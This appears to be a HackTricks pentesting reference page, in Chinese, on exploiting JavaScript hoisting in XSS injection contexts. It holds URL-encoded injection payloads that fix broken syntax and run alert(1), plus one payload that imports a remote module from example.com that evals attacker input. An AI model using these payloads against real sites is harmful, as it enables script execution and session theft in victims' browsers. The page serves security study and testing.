# JS Hoisting {{#include ../../banners/hacktricks-training.md}} ## 基本信息 在JavaScript语言中,有一种机制称为**提升**,它描述了变量、函数、类或导入的声明在代码执行之前概念上被提升到其作用域的顶部。这个过程是由JavaScript引擎自动执行的,脚本会经过多次遍历。 在第一次遍历中,引擎解析代码以检查语法错误,并将其转换为抽象语法树。这个阶段包括提升,这是一个将某些声明移动到执行上下文顶部的过程。如果解析阶段成功,表明没有语法错误,则脚本执行继续进行。 理解以下几点至关重要: 1. 脚本必须没有语法错误才能执行。语法规则必须严格遵守。 2. 代码在脚本中的位置会影响执行,因为提升,尽管执行的代码可能与其文本表示不同。 #### 提升的类型 根据MDN的信息,JavaScript中有四种不同类型的提升: 1. **值提升**:允许在声明行之前在其作用域内使用变量的值。 2. **声明提升**:允许在声明之前引用变量而不会引发`ReferenceError`,但变量的值将是`undefined`。 3. 这种类型由于变量在实际声明行之前的声明而改变其作用域内的行为。 4. 声明的副作用在包含它的其余代码被评估之前发生。 详细来说,函数声明表现出类型1的提升行为。`var`关键字展示了类型2的行为。词法声明,包括`let`、`const`和`class`,显示了类型3的行为。最后,`import`语句是独特的,因为它们同时具有类型1和类型4的提升行为。 ## 场景 因此,如果您有场景可以**在未声明对象后注入JS代码**,您可以通过声明它来**修复语法**(这样您的代码会被执行而不是抛出错误): ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); // You can define it in your injection to execute JS //Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b '-alert(1)-''); function vulnerableFunction(a,b){return 1}; //Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1) test'); function vulnerableFunction(a,b){ return 1 };alert(1) ``` ```javascript // If a variable is not defined, you could define it in the injection // In the following example var a is not defined function myFunction(a,b){ return 1 }; myFunction(a, '') //Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b test'); var a = 1; alert(1); ``` ```javascript // If an undeclared class is used, you cannot declare it AFTER being used var variable = new unexploitableClass(); // But you can actually declare it as a function, being able to fix the syntax with something like: function unexploitableClass() { return 1; } alert(1); ``` ```javascript // Properties are not hoisted // So the following examples where the 'cookie' attribute doesn´t exist // cannot be fixed if you can only inject after that code: test.cookie("leo", "INJECTION") test[("cookie", "injection")] ``` ## 更多场景 ```javascript // Undeclared var accessing to an undeclared method x.y(1,INJECTION) // You can inject alert(1));function x(){}// // And execute the allert with (the alert is resolved before it's detected that the "y" is undefined x.y(1,alert(1));function x(){}//) ``` ```javascript // Undeclared var accessing 2 nested undeclared method x.y.z(1,INJECTION) // You can inject ");import {x} from "https://example.com/module.js"// // It will be executed x.y.z("alert(1)");import {x} from "https://example.com/module.js"//") // The imported module: // module.js var x = { y: { z: function(param) { eval(param); } } }; export { x }; ``` ```javascript // In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/ // It was injected the: let config;`-alert(1)`//` // With the goal of making in the block the var config be empty, so the return is not executed // And the same injection was replicated in the body URL to execute an alert try { if (config) { return } // TODO handle missing config for: https://try-to-catch.glitch.me/"+` let config ;`-alert(1)` //`+" } catch { fetch("/error", { method: "POST", body: { url: "https://try-to-catch.glitch.me/" + ` let config;` - alert(1) - `//` + "", }, }) } ``` ## 参考文献 - [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios) - [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting) - [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/) {{#include ../../banners/hacktricks-training.md}}